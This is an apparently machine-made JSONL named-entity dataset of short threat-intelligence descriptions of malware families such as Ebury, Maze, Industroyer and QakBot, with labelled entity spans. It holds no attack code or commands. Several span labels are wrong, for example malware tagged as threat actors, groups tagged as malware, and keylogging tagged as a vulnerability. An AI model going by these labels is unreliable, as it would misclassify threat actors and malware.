+{"text": "Ebury is an OpenSSH backdoor and credential stealer targeting Linux servers and container hosts developed by Windigo. Ebury is primarily installed through modifying shared libraries (`.so` files) executed by the legitimate OpenSSH program. First seen in 2009, Ebury has been used to maintain a botnet of servers, deploy additional malware, and steal cryptocurrency wallets, credentials, and credit card details.", "spans": {"MALWARE: Ebury": [[0, 5], [118, 123], [260, 265]], "SYSTEM: OpenSSH": [[12, 19], [223, 230]], "SYSTEM: Linux": [[62, 67]], "MALWARE: Windigo": [[109, 116]]}, "info": {"source": "apt_reports", "name": "Ebury"}}
+{"text": "Kinsing is Golang-based malware that runs a cryptocurrency miner and attempts to spread itself to other hosts in the victim environment.", "spans": {"THREAT_ACTOR: Kinsing": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Kinsing"}}
+{"text": "PITSTOP is a backdoor that was deployed on compromised Ivanti Connect Secure VPNs during Cutting Edge to enable command execution and file read/write.", "spans": {"MALWARE: PITSTOP": [[0, 7]], "THREAT_ACTOR: Cutting Edge": [[89, 101]], "SYSTEM: Edge": [[97, 101]], "SYSTEM: Ivanti": [[55, 61]]}, "info": {"source": "apt_reports", "name": "PITSTOP"}}
+{"text": "Meteor is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. Meteor is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called \"Indra\" since at least 2019 against private companies in Syria.", "spans": {"MALWARE: Meteor": [[0, 6], [170, 176]]}, "info": {"source": "apt_reports", "name": "Meteor"}}
+{"text": "njRAT is a remote access tool (RAT) that was first observed in 2012. It has been used by threat actors in the Middle East.", "spans": {"TOOL: njRAT": [[0, 5]]}, "info": {"source": "apt_reports", "name": "njRAT"}}
+{"text": "ZIPLINE is a passive backdoor that was used during Cutting Edge on compromised Secure Connect VPNs for reverse shell and proxy functionality.", "spans": {"MALWARE: ZIPLINE": [[0, 7]], "THREAT_ACTOR: Cutting Edge": [[51, 63]], "SYSTEM: Edge": [[59, 63]]}, "info": {"source": "apt_reports", "name": "ZIPLINE"}}
+{"text": "Maze ransomware, previously known as \"ChaCha\", was discovered in May 2019. In addition to encrypting files on victim machines for impact, Maze operators conduct information stealing campaigns prior to encryption and post the information online to extort affected companies.", "spans": {"MALWARE: Maze": [[0, 4], [138, 142]], "MALWARE: ChaCha": [[38, 44]]}, "info": {"source": "apt_reports", "name": "Maze"}}
+{"text": "BOOTRASH is a Bootkit that targets Windows operating systems. It has been used by threat actors that target the financial sector.", "spans": {"MALWARE: BOOTRASH": [[0, 8]], "SYSTEM: Windows": [[35, 42]]}, "info": {"source": "apt_reports", "name": "BOOTRASH"}}
+{"text": "HIUPAN (aka U2DiskWatch) is a is a worm that propagates through removable drives known to be leveraged by Mustang Panda and was first observed utilized in 2024.", "spans": {"MALWARE: HIUPAN": [[0, 6]], "THREAT_ACTOR: Mustang Panda": [[106, 119]]}, "info": {"source": "apt_reports", "name": "HIUPAN"}}
+{"text": "ComRAT is a second stage implant suspected of being a descendant of Agent.btz and used by Turla. The first version of ComRAT was identified in 2007, but the tool has undergone substantial development for many years since.", "spans": {"MALWARE: ComRAT": [[0, 6], [118, 124]], "THREAT_ACTOR: Turla": [[90, 95]], "MALWARE: Agent.btz": [[68, 77]]}, "info": {"source": "apt_reports", "name": "ComRAT"}}
+{"text": "TURNEDUP is a non-public backdoor. It has been dropped by APT33's StoneDrill malware.", "spans": {"MALWARE: TURNEDUP": [[0, 8]], "THREAT_ACTOR: APT33": [[58, 63]], "MALWARE: StoneDrill": [[66, 76]]}, "info": {"source": "apt_reports", "name": "TURNEDUP"}}
+{"text": "ChChes is a Trojan that appears to be used exclusively by menuPass. It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool.", "spans": {"MALWARE: ChChes": [[0, 6]], "MALWARE: menuPass": [[58, 66]]}, "info": {"source": "apt_reports", "name": "ChChes"}}
+{"text": "PowerStallion is a lightweight PowerShell backdoor used by Turla, possibly as a recovery access tool to install other backdoors.", "spans": {"MALWARE: PowerStallion": [[0, 13]], "THREAT_ACTOR: Turla": [[59, 64]], "TOOL: PowerShell": [[31, 41]]}, "info": {"source": "apt_reports", "name": "PowerStallion"}}
+{"text": "ANDROMEDA is commodity malware that was widespread in the early 2010's and continues to be observed in infections across a wide variety of industries. During the 2022 C0026 campaign, threat actors re-registered expired ANDROMEDA C2 domains to spread malware to select targets in Ukraine.", "spans": {"MALWARE: ANDROMEDA": [[0, 9], [219, 228]], "THREAT_ACTOR: C0026": [[167, 172]]}, "info": {"source": "apt_reports", "name": "ANDROMEDA"}}
+{"text": "Manjusaka is a Chinese-language intrusion framework, similar to Sliver and Cobalt Strike, with an ELF binary written in GoLang as the controller for Windows and Linux implants written in Rust. First identified in 2022, Manjusaka consists of multiple components, only one of which (a command and control module) is freely available.", "spans": {"MALWARE: Manjusaka": [[0, 9], [219, 228]], "THREAT_ACTOR: Cobalt": [[75, 81]], "TOOL: Cobalt Strike": [[75, 88]], "TOOL: Sliver": [[64, 70]], "SYSTEM: Rust": [[187, 191]], "SYSTEM: Windows": [[149, 156]], "SYSTEM: Linux": [[161, 166]]}, "info": {"source": "apt_reports", "name": "Manjusaka"}}
+{"text": "IceApple is a modular Internet Information Services (IIS) post-exploitation framework, that has been used since at least 2021 against the technology, academic, and government sectors.", "spans": {"MALWARE: IceApple": [[0, 8]], "SYSTEM: IIS": [[53, 56]]}, "info": {"source": "apt_reports", "name": "IceApple"}}
+{"text": "JPIN is a custom-built backdoor family used by PLATINUM. Evidence suggests developers of JPIN and Dipsind code bases were related in some way.", "spans": {"MALWARE: JPIN": [[0, 4], [89, 93]], "THREAT_ACTOR: PLATINUM": [[47, 55]], "MALWARE: Dipsind": [[98, 105]]}, "info": {"source": "apt_reports", "name": "JPIN"}}
+{"text": "VIRTUALPITA is a passive backdoor with ESXi and Linux vCenter variants capable of command execution, file transfer, and starting and stopping processes. VIRTUALPITA has been in use since at least 2022 including by UNC3886 who leveraged malicious vSphere Installation Bundles (VIBs) for install on ESXi hypervisors.", "spans": {"MALWARE: VIRTUALPITA": [[0, 11], [153, 164]], "THREAT_ACTOR: UNC3886": [[214, 221]], "SYSTEM: ESXi": [[39, 43], [297, 301]], "SYSTEM: vSphere": [[246, 253]], "SYSTEM: Linux": [[48, 53]], "SYSTEM: vCenter": [[54, 61]]}, "info": {"source": "apt_reports", "name": "VIRTUALPITA"}}
+{"text": "metaMain is a backdoor used by Metador to maintain long-term access to compromised machines; it has also been used to decrypt Mafalda into memory.", "spans": {"MALWARE: metaMain": [[0, 8]], "THREAT_ACTOR: Metador": [[31, 38]], "MALWARE: Mafalda": [[126, 133]]}, "info": {"source": "apt_reports", "name": "metaMain"}}
+{"text": "SideTwist is a C-based backdoor that has been used by OilRig since at least 2021.", "spans": {"MALWARE: SideTwist": [[0, 9]], "THREAT_ACTOR: OilRig": [[54, 60]]}, "info": {"source": "apt_reports", "name": "SideTwist"}}
+{"text": "KOCTOPUS's batch variant is loader used by LazyScripter since 2018 to launch Octopus and Koadic and, in some cases, QuasarRAT. KOCTOPUS also has a VBA variant that has the same functionality as the batch version.", "spans": {"MALWARE: KOCTOPUS": [[0, 8], [127, 135]], "TOOL: QuasarRAT": [[116, 125]], "MALWARE: Octopus": [[77, 84]], "MALWARE: Koadic": [[89, 95]], "MALWARE: LazyScripter": [[43, 55]]}, "info": {"source": "apt_reports", "name": "KOCTOPUS"}}
+{"text": "MechaFlounder is a python-based remote access tool (RAT) that has been used by APT39. The payload uses a combination of actor developed code and code snippets freely available online in development communities.", "spans": {"MALWARE: MechaFlounder": [[0, 13]], "THREAT_ACTOR: APT39": [[79, 84]]}, "info": {"source": "apt_reports", "name": "MechaFlounder"}}
+{"text": "Psylo is a shellcode-based Trojan that has been used by Scarlet Mimic. It has similar characteristics as FakeM.", "spans": {"MALWARE: Psylo": [[0, 5]], "THREAT_ACTOR: Scarlet Mimic": [[56, 69]], "MALWARE: FakeM": [[105, 110]]}, "info": {"source": "apt_reports", "name": "Psylo"}}
+{"text": "Heyoka Backdoor is a custom backdoor--based on the Heyoka open source exfiltration tool--that  has been used by Aoqin Dragon since at least 2013.", "spans": {"MALWARE: Heyoka Backdoor": [[0, 15]], "THREAT_ACTOR: Aoqin Dragon": [[112, 124]]}, "info": {"source": "apt_reports", "name": "Heyoka Backdoor"}}
+{"text": "HTTPBrowser is malware that has been used by several threat groups.   It is believed to be of Chinese origin.", "spans": {"MALWARE: HTTPBrowser": [[0, 11]]}, "info": {"source": "apt_reports", "name": "HTTPBrowser"}}
+{"text": "Mis-Type is a backdoor hybrid that was used in Operation Dust Storm by 2012.", "spans": {"MALWARE: Mis-Type": [[0, 8]], "THREAT_ACTOR: Dust Storm": [[57, 67]], "THREAT_ACTOR: Operation Dust Storm": [[47, 67]]}, "info": {"source": "apt_reports", "name": "Mis-Type"}}
+{"text": "LunarWeb is a backdoor that has been used by Turla since at least 2020 including in a compromise of a European ministry of foreign affairs (MFA) together with LunarLoader and LunarMail. LunarWeb has only been observed deployed against servers and can use Steganography to obfuscate command and control.", "spans": {"MALWARE: LunarWeb": [[0, 8], [186, 194]], "THREAT_ACTOR: Turla": [[45, 50]], "MALWARE: LunarLoader": [[159, 170]], "MALWARE: LunarMail": [[175, 184]]}, "info": {"source": "apt_reports", "name": "LunarWeb"}}
+{"text": "XCSSET is a modular macOS malware family delivered through infected Xcode projects and executed when the project is compiled. Active since August 2020, it has been observed installing backdoors, spoofed browsers, collecting data, and encrypting user files. It is composed of SHC-compiled shell scripts and run-only AppleScripts, often hiding in apps that mimic system tools (such as Xcode, Mail, or Notes) or use familiar icons (like Launchpad) to avoid detection.", "spans": {"MALWARE: XCSSET": [[0, 6]], "SYSTEM: macOS": [[20, 25]]}, "info": {"source": "apt_reports", "name": "XCSSET"}}
+{"text": "Disco is a custom implant that has been used by MoustachedBouncer since at least 2020 including in campaigns using targeted malicious content injection for initial access and command and control.", "spans": {"MALWARE: Disco": [[0, 5]], "THREAT_ACTOR: MoustachedBouncer": [[48, 65]]}, "info": {"source": "apt_reports", "name": "Disco"}}
+{"text": "Dipsind is a malware family of backdoors that appear to be used exclusively by PLATINUM.", "spans": {"MALWARE: Dipsind": [[0, 7]], "THREAT_ACTOR: PLATINUM": [[79, 87]]}, "info": {"source": "apt_reports", "name": "Dipsind"}}
+{"text": "Octopus is a Windows Trojan written in the Delphi programming language that has been used by Nomadic Octopus to target government organizations in Central Asia since at least 2014.", "spans": {"MALWARE: Octopus": [[0, 7], [101, 108]], "SYSTEM: Windows": [[13, 20]], "MALWARE: Nomadic Octopus": [[93, 108]]}, "info": {"source": "apt_reports", "name": "Octopus"}}
+{"text": "KillDisk is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of BlackEnergy malware during cyber attacks against Ukraine in 2015. KillDisk has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some KillDisk variants.", "spans": {"MALWARE: KillDisk": [[0, 8], [211, 219], [417, 425]], "MALWARE: BlackEnergy": [[145, 156]]}, "info": {"source": "apt_reports", "name": "KillDisk"}}
+{"text": "Qilin ransomware is a Ransomware-as-a-Service (RaaS) that has been active since at least 2022 with versions written in Golang and Rust that are capable of targeting Windows or VMWare ESXi devices. Qilin shares functionality overlaps with Black Basta, REvil, and BlackCat ransomware and its RaaS affiliates have been observed targeting multiple sectors worldwide, including healthcare and education in Asia, Europe, and Africa.", "spans": {"MALWARE: Qilin": [[0, 5], [197, 202]], "SYSTEM: Rust": [[130, 134]], "SYSTEM: ESXi": [[183, 187]], "SYSTEM: Windows": [[165, 172]], "MALWARE: Black Basta": [[238, 249]], "MALWARE: BlackCat": [[262, 270]], "MALWARE: REvil": [[251, 256]]}, "info": {"source": "apt_reports", "name": "Qilin"}}
+{"text": "AppleJeus is a family of downloaders initially discovered in 2018 embedded within trojanized cryptocurrency applications. AppleJeus has been used by Lazarus Group, targeting companies in the energy, finance, government, industry, technology, and telecommunications sectors, and several countries including the United States, United Kingdom, South Korea, Australia, Brazil, New Zealand, and Russia. AppleJeus has been used to distribute the FALLCHILL RAT.", "spans": {"MALWARE: AppleJeus": [[0, 9], [122, 131], [398, 407]], "THREAT_ACTOR: Lazarus Group": [[149, 162]], "MALWARE: FALLCHILL": [[440, 449]]}, "info": {"source": "apt_reports", "name": "AppleJeus"}}
+{"text": "SoreFang is first stage downloader used by APT29 for exfiltration and to load other malware.", "spans": {"MALWARE: SoreFang": [[0, 8]], "THREAT_ACTOR: APT29": [[43, 48]]}, "info": {"source": "apt_reports", "name": "SoreFang"}}
+{"text": "STARWHALE is Windows Script File (WSF) backdoor that has been used by MuddyWater, possibly since at least November 2021; there is also a STARWHALE variant written in Golang with similar capabilities. Security researchers have also noted the use of STARWHALE by UNC3313, which may be associated with MuddyWater.", "spans": {"MALWARE: STARWHALE": [[0, 9], [137, 146], [248, 257]], "THREAT_ACTOR: MuddyWater": [[70, 80], [299, 309]], "SYSTEM: Windows": [[13, 20]]}, "info": {"source": "apt_reports", "name": "STARWHALE"}}
+{"text": "MirageFox is a remote access tool used against Windows systems. It appears to be an upgraded version of a tool known as Mirage, which is a RAT believed to originate in 2012.", "spans": {"MALWARE: MirageFox": [[0, 9]], "THREAT_ACTOR: Mirage": [[120, 126]], "SYSTEM: Windows": [[47, 54]]}, "info": {"source": "apt_reports", "name": "MirageFox"}}
+{"text": "Industroyer is a sophisticated malware framework designed to cause an impact to the working processes of Industrial Control Systems (ICS), specifically components used in electrical substations. Industroyer was used in the attacks on the Ukrainian power grid in December 2016. This is the first publicly known malware specifically designed to target and impact operations in the electric grid.", "spans": {"MALWARE: Industroyer": [[0, 11], [195, 206]]}, "info": {"source": "apt_reports", "name": "Industroyer"}}
+{"text": "DownPaper is a backdoor Trojan; its main functionality is to download and run second stage malware.", "spans": {"MALWARE: DownPaper": [[0, 9]]}, "info": {"source": "apt_reports", "name": "DownPaper"}}
+{"text": "Socksbot is a backdoor that  abuses Socket Secure (SOCKS) proxies.", "spans": {"MALWARE: Socksbot": [[0, 8]]}, "info": {"source": "apt_reports", "name": "Socksbot"}}
+{"text": "Pcexter is an uploader that has been used by ToddyCat since at least 2023 to exfiltrate stolen files.", "spans": {"MALWARE: Pcexter": [[0, 7]], "THREAT_ACTOR: ToddyCat": [[45, 53]]}, "info": {"source": "apt_reports", "name": "Pcexter"}}
+{"text": "HIDEDRV is a rootkit used by APT28. It has been deployed along with Downdelph to execute and hide that malware.", "spans": {"MALWARE: HIDEDRV": [[0, 7]], "THREAT_ACTOR: APT28": [[29, 34]], "VULNERABILITY: rootkit": [[13, 20]], "MALWARE: Downdelph": [[68, 77]]}, "info": {"source": "apt_reports", "name": "HIDEDRV"}}
+{"text": "CozyCar is malware that was used by APT29 from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality.", "spans": {"MALWARE: CozyCar": [[0, 7]], "THREAT_ACTOR: APT29": [[36, 41]]}, "info": {"source": "apt_reports", "name": "CozyCar"}}
+{"text": "Kevin is a backdoor implant written in C++ that has been used by HEXANE since at least June 2020, including in operations against organizations in Tunisia.", "spans": {"MALWARE: Kevin": [[0, 5]], "MALWARE: HEXANE": [[65, 71]]}, "info": {"source": "apt_reports", "name": "Kevin"}}
+{"text": "Agent Tesla is a spyware Trojan written for the .NET framework that has been observed since at least 2014.", "spans": {"MALWARE: Agent Tesla": [[0, 11]], "SYSTEM: .NET": [[48, 52]]}, "info": {"source": "apt_reports", "name": "Agent Tesla"}}
+{"text": "Pasam is a trojan used by Elderwood to open a backdoor on compromised hosts.", "spans": {"MALWARE: Pasam": [[0, 5]], "MALWARE: Elderwood": [[26, 35]]}, "info": {"source": "apt_reports", "name": "Pasam"}}
+{"text": "httpclient is malware used by Putter Panda. It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool.", "spans": {"MALWARE: httpclient": [[0, 10]], "MALWARE: Putter Panda": [[30, 42]]}, "info": {"source": "apt_reports", "name": "httpclient"}}
+{"text": "POWERSTATS is a PowerShell-based first stage backdoor used by MuddyWater.", "spans": {"MALWARE: POWERSTATS": [[0, 10]], "THREAT_ACTOR: MuddyWater": [[62, 72]], "TOOL: PowerShell": [[16, 26]]}, "info": {"source": "apt_reports", "name": "POWERSTATS"}}
+{"text": "POWERTON is a custom PowerShell backdoor first observed in 2018. It has typically been deployed as a late-stage backdoor by APT33. At least two variants of the backdoor have been identified, with the later version containing improved functionality.", "spans": {"MALWARE: POWERTON": [[0, 8]], "THREAT_ACTOR: APT33": [[124, 129]], "TOOL: PowerShell": [[21, 31]]}, "info": {"source": "apt_reports", "name": "POWERTON"}}
+{"text": "StarProxy is custom malware used by Mustang Panda as a post-compromise tool, to enable proxying of traffic between the infected machine and other machines on the same network.", "spans": {"MALWARE: StarProxy": [[0, 9]], "THREAT_ACTOR: Mustang Panda": [[36, 49]]}, "info": {"source": "apt_reports", "name": "StarProxy"}}
+{"text": "ECCENTRICBANDWAGON is a remote access Trojan (RAT) used by North Korean cyber actors that was first identified in August 2020. It is a reconnaissance tool--with keylogging and screen capture functionality--used for information gathering on compromised systems.", "spans": {"MALWARE: ECCENTRICBANDWAGON": [[0, 18]], "VULNERABILITY: screen capture": [[176, 190]], "VULNERABILITY: keylogging": [[161, 171]]}, "info": {"source": "apt_reports", "name": "ECCENTRICBANDWAGON"}}
+{"text": "BADNEWS is malware that has been used by the actors responsible for the Patchwork campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control.", "spans": {"MALWARE: BADNEWS": [[0, 7]], "MALWARE: Patchwork": [[72, 81]]}, "info": {"source": "apt_reports", "name": "BADNEWS"}}
+{"text": "Linfo is a rootkit trojan used by Elderwood to open a backdoor on compromised hosts.", "spans": {"MALWARE: Linfo": [[0, 5]], "VULNERABILITY: rootkit": [[11, 18]], "MALWARE: Elderwood": [[34, 43]]}, "info": {"source": "apt_reports", "name": "Linfo"}}
+{"text": "Goopy is a Windows backdoor and Trojan used by APT32 and shares several similarities to another backdoor used by the group (Denis). Goopy is named for its impersonation of the legitimate Google Updater executable.", "spans": {"MALWARE: Goopy": [[0, 5], [132, 137]], "THREAT_ACTOR: APT32": [[47, 52]], "SYSTEM: Windows": [[11, 18]], "ORGANIZATION: Google": [[187, 193]], "MALWARE: Denis": [[124, 129]]}, "info": {"source": "apt_reports", "name": "Goopy"}}
+{"text": "ShadowPad is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by APT41, but has since been observed to be used by various Chinese threat activity groups.", "spans": {"MALWARE: ShadowPad": [[0, 9]], "THREAT_ACTOR: APT41": [[192, 197]], "VULNERABILITY: supply chain compromise": [[63, 86]]}, "info": {"source": "apt_reports", "name": "ShadowPad"}}
+{"text": "Remexi is a Windows-based Trojan that was developed in the C programming language.", "spans": {"MALWARE: Remexi": [[0, 6]], "SYSTEM: Windows": [[12, 19]]}, "info": {"source": "apt_reports", "name": "Remexi"}}
+{"text": "Astaroth is a Trojan and information stealer known to affect companies in Europe, Brazil, and throughout Latin America. It has been known publicly since at least late 2017.", "spans": {"MALWARE: Astaroth": [[0, 8]]}, "info": {"source": "apt_reports", "name": "Astaroth"}}
+{"text": "QakBot is a modular banking trojan that has been used primarily by financially-motivated actors since at least 2007. QakBot is continuously maintained and developed and has evolved from an information stealer into a delivery agent for ransomware, most notably ProLock and Egregor.", "spans": {"MALWARE: QakBot": [[0, 6], [117, 123]], "MALWARE: Egregor": [[272, 279]], "MALWARE: ProLock": [[260, 267]]}, "info": {"source": "apt_reports", "name": "QakBot"}}
+{"text": "SYSCON is a backdoor that has been in use since at least 2017 and has been associated with campaigns involving North Korean themes. SYSCON has been delivered by the CARROTBALL and CARROTBAT droppers.", "spans": {"MALWARE: SYSCON": [[0, 6], [132, 138]], "MALWARE: CARROTBAT": [[180, 189]], "MALWARE: CARROTBALL": [[165, 175]]}, "info": {"source": "apt_reports", "name": "SYSCON"}}
+{"text": "CookieMiner is mac-based malware that targets information associated with cryptocurrency exchanges as well as enabling cryptocurrency mining on the victim system itself. It was first discovered in the wild in 2019.", "spans": {"MALWARE: CookieMiner": [[0, 11]]}, "info": {"source": "apt_reports", "name": "CookieMiner"}}
+{"text": "Hancitor is a downloader that has been used by Pony and other information stealing malware.", "spans": {"MALWARE: Hancitor": [[0, 8]], "MALWARE: Pony": [[47, 51]]}, "info": {"source": "apt_reports", "name": "Hancitor"}}
+{"text": "Gelsemium is a modular malware comprised of a dropper (Gelsemine), a loader (Gelsenicine), and main (Gelsevirine) plug-ins written using the Microsoft Foundation Class (MFC) framework. Gelsemium has been used by the Gelsemium group since at least 2014.", "spans": {"THREAT_ACTOR: Gelsemium": [[0, 9], [185, 194], [216, 225]], "ORGANIZATION: Microsoft": [[141, 150]]}, "info": {"source": "apt_reports", "name": "Gelsemium"}}
+{"text": "jRAT is a cross-platform, Java-based backdoor originally available for purchase in 2012. Variants of jRAT have been distributed via a software-as-a-service platform, similar to an online subscription model.", "spans": {"MALWARE: jRAT": [[0, 4], [101, 105]], "SYSTEM: Java": [[26, 30]]}, "info": {"source": "apt_reports", "name": "jRAT"}}
+{"text": "Helminth is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable.", "spans": {"MALWARE: Helminth": [[0, 8]], "TOOL: PowerShell": [[84, 94]], "SYSTEM: Windows": [[178, 185]]}, "info": {"source": "apt_reports", "name": "Helminth"}}
+{"text": "Dridex is a prolific banking Trojan that first appeared in 2014. By December 2019, the US Treasury estimated Dridex had infected computers in hundreds of banks and financial institutions in over 40 countries, leading to more than $100 million in theft. Dridex was created from the source code of the Bugat banking Trojan (also known as Cridex).", "spans": {"MALWARE: Dridex": [[0, 6], [109, 115], [253, 259]], "MALWARE: Bugat": [[300, 305]], "MALWARE: Cridex": [[336, 342]]}, "info": {"source": "apt_reports", "name": "Dridex"}}
+{"text": "BBK is a downloader that has been used by BRONZE BUTLER since at least 2019.", "spans": {"MALWARE: BBK": [[0, 3]], "MALWARE: BRONZE BUTLER": [[42, 55]]}, "info": {"source": "apt_reports", "name": "BBK"}}
+{"text": "Komplex is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to XAgentOSX  .", "spans": {"MALWARE: Komplex": [[0, 7]], "THREAT_ACTOR: APT28": [[44, 49]], "MALWARE: XAgentOSX": [[109, 118]]}, "info": {"source": "apt_reports", "name": "Komplex"}}
+{"text": "OSX/Shlayer is a Trojan designed to install adware on macOS that was first discovered in 2018.", "spans": {"MALWARE: OSX/Shlayer": [[0, 11]], "SYSTEM: macOS": [[54, 59]], "MALWARE: Shlayer": [[4, 11]]}, "info": {"source": "apt_reports", "name": "OSX/Shlayer"}}
+{"text": "Denis is a Windows backdoor and Trojan used by APT32. Denis shares several similarities to the SOUNDBITE backdoor and has been used in conjunction with the Goopy backdoor.", "spans": {"MALWARE: Denis": [[0, 5], [54, 59]], "THREAT_ACTOR: APT32": [[47, 52]], "SYSTEM: Windows": [[11, 18]], "MALWARE: Goopy": [[156, 161]], "MALWARE: SOUNDBITE": [[95, 104]]}, "info": {"source": "apt_reports", "name": "Denis"}}
+{"text": "INC Ransomware is a ransomware strain that has been used by the INC Ransom group since at least 2023 against multiple industry sectors worldwide. INC Ransomware can employ partial encryption combined with multi-threading to speed encryption.", "spans": {"MALWARE: INC Ransomware": [[0, 14], [146, 160]], "MALWARE: INC Ransom": [[64, 74]]}, "info": {"source": "apt_reports", "name": "INC Ransomware"}}
+{"text": "DEADWOOD is wiper malware written in C++ using Boost libraries. DEADWOOD was first observed in an unattributed wiping event in Saudi Arabia in 2019, and has since been incorporated into Agrius operations.", "spans": {"MALWARE: DEADWOOD": [[0, 8], [64, 72]], "MALWARE: Agrius": [[186, 192]]}, "info": {"source": "apt_reports", "name": "DEADWOOD"}}
+{"text": "GLOOXMAIL is malware used by APT1 that mimics legitimate Jabber/XMPP traffic.", "spans": {"MALWARE: GLOOXMAIL": [[0, 9]], "THREAT_ACTOR: APT1": [[29, 33]]}, "info": {"source": "apt_reports", "name": "GLOOXMAIL"}}
+{"text": "Dok is a Trojan application disguised as a .zip file that is able to collect user credentials and install a malicious proxy server to redirect a user's network traffic (i.e. Adversary-in-the-Middle).", "spans": {"MALWARE: Dok": [[0, 3]]}, "info": {"source": "apt_reports", "name": "Dok"}}
+{"text": "SplatCloak is a malware that disables EDR-related routines used by Windows Defender and Kaspersky to aid in evading detection.  SplatCloak has been deployed by SplatDropper and is known to be leveraged by Mustang Panda since 2025.", "spans": {"MALWARE: SplatCloak": [[0, 10], [128, 138]], "THREAT_ACTOR: Mustang Panda": [[205, 218]], "SYSTEM: Kaspersky": [[88, 97]], "SYSTEM: Windows Defender": [[67, 83]], "SYSTEM: Windows": [[67, 74]], "MALWARE: SplatDropper": [[160, 172]]}, "info": {"source": "apt_reports", "name": "SplatCloak"}}
+{"text": "Waterbear is modular malware attributed to BlackTech that has been used primarily for lateral movement, decrypting, and triggering payloads and is capable of hiding network behaviors.", "spans": {"MALWARE: Waterbear": [[0, 9]], "THREAT_ACTOR: BlackTech": [[43, 52]]}, "info": {"source": "apt_reports", "name": "Waterbear"}}
+{"text": "FIVEHANDS is a customized version of DEATHRANSOM ransomware written in C++. FIVEHANDS has been used since at least 2021, including in Ransomware-as-a-Service (RaaS) campaigns, sometimes along with SombRAT.", "spans": {"MALWARE: FIVEHANDS": [[0, 9], [76, 85]], "MALWARE: DEATHRANSOM": [[37, 48]], "MALWARE: SombRAT": [[197, 204]]}, "info": {"source": "apt_reports", "name": "FIVEHANDS"}}
+{"text": "Comnie is a remote backdoor which has been used in attacks in East Asia.", "spans": {"MALWARE: Comnie": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Comnie"}}
+{"text": "Vasport is a trojan used by Elderwood to open a backdoor on compromised hosts.", "spans": {"MALWARE: Vasport": [[0, 7]], "MALWARE: Elderwood": [[28, 37]]}, "info": {"source": "apt_reports", "name": "Vasport"}}
+{"text": "AutoIt backdoor is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352.  This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.", "spans": {"CVE_ID: CVE-2014-6352": [[164, 177]], "MALWARE: AutoIt backdoor": [[0, 15]], "SYSTEM: Windows": [[244, 251]]}, "info": {"source": "apt_reports", "name": "AutoIt backdoor"}}
+{"text": "JSS Loader is Remote Access Trojan (RAT) with .NET and C++ variants that has been used by FIN7 since at least 2020.", "spans": {"MALWARE: JSS Loader": [[0, 10]], "THREAT_ACTOR: FIN7": [[90, 94]], "SYSTEM: .NET": [[46, 50]]}, "info": {"source": "apt_reports", "name": "JSS Loader"}}
+{"text": "PHOREAL is a signature backdoor used by APT32.", "spans": {"MALWARE: PHOREAL": [[0, 7]], "THREAT_ACTOR: APT32": [[40, 45]]}, "info": {"source": "apt_reports", "name": "PHOREAL"}}
+{"text": "OSInfo is a custom tool used by APT3 to do internal discovery on a victim's computer and network.", "spans": {"MALWARE: OSInfo": [[0, 6]], "THREAT_ACTOR: APT3": [[32, 36]]}, "info": {"source": "apt_reports", "name": "OSInfo"}}
+{"text": "MacSpy is a malware-as-a-service offered on the darkweb  .", "spans": {"MALWARE: MacSpy": [[0, 6]]}, "info": {"source": "apt_reports", "name": "MacSpy"}}
+{"text": "Lizar is a modular remote access tool written using the .NET Framework that shares structural similarities to Carbanak. It has likely been used by FIN7 since at least February 2021.", "spans": {"MALWARE: Lizar": [[0, 5]], "THREAT_ACTOR: FIN7": [[147, 151]], "SYSTEM: .NET Framework": [[56, 70]], "SYSTEM: .NET": [[56, 60]], "MALWARE: Carbanak": [[110, 118]]}, "info": {"source": "apt_reports", "name": "Lizar"}}
+{"text": "Dtrack is spyware that was discovered in 2019 and has been used against Indian financial institutions, research facilities, and the Kudankulam Nuclear Power Plant. Dtrack shares similarities with the DarkSeoul campaign, which was attributed to Lazarus Group.", "spans": {"MALWARE: Dtrack": [[0, 6], [164, 170]], "THREAT_ACTOR: Lazarus Group": [[244, 257]]}, "info": {"source": "apt_reports", "name": "Dtrack"}}
+{"text": "H1N1 is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality.", "spans": {"MALWARE: H1N1": [[0, 4]]}, "info": {"source": "apt_reports", "name": "H1N1"}}
+{"text": "SLOWPULSE is a malware that was used by APT5 as early as 2020 including against U.S. Defense Industrial Base (DIB) companies. SLOWPULSE has several variants and can modify legitimate Pulse Secure VPN files in order to log credentials and bypass single and two-factor authentication flows.", "spans": {"MALWARE: SLOWPULSE": [[0, 9], [126, 135]], "THREAT_ACTOR: APT5": [[40, 44]], "SYSTEM: Pulse Secure": [[183, 195]], "SYSTEM: VPN": [[196, 199]]}, "info": {"source": "apt_reports", "name": "SLOWPULSE"}}
+{"text": "Seth-Locker is a ransomware with some remote control capabilities that has been in use since at least 2021.", "spans": {"MALWARE: Seth-Locker": [[0, 11]]}, "info": {"source": "apt_reports", "name": "Seth-Locker"}}
+{"text": "LoudMiner is a cryptocurrency miner which uses virtualization software to siphon system resources. The miner has been bundled with pirated copies of Virtual Studio Technology (VST) for Windows and macOS.", "spans": {"MALWARE: LoudMiner": [[0, 9]], "SYSTEM: macOS": [[197, 202]], "SYSTEM: Windows": [[185, 192]]}, "info": {"source": "apt_reports", "name": "LoudMiner"}}
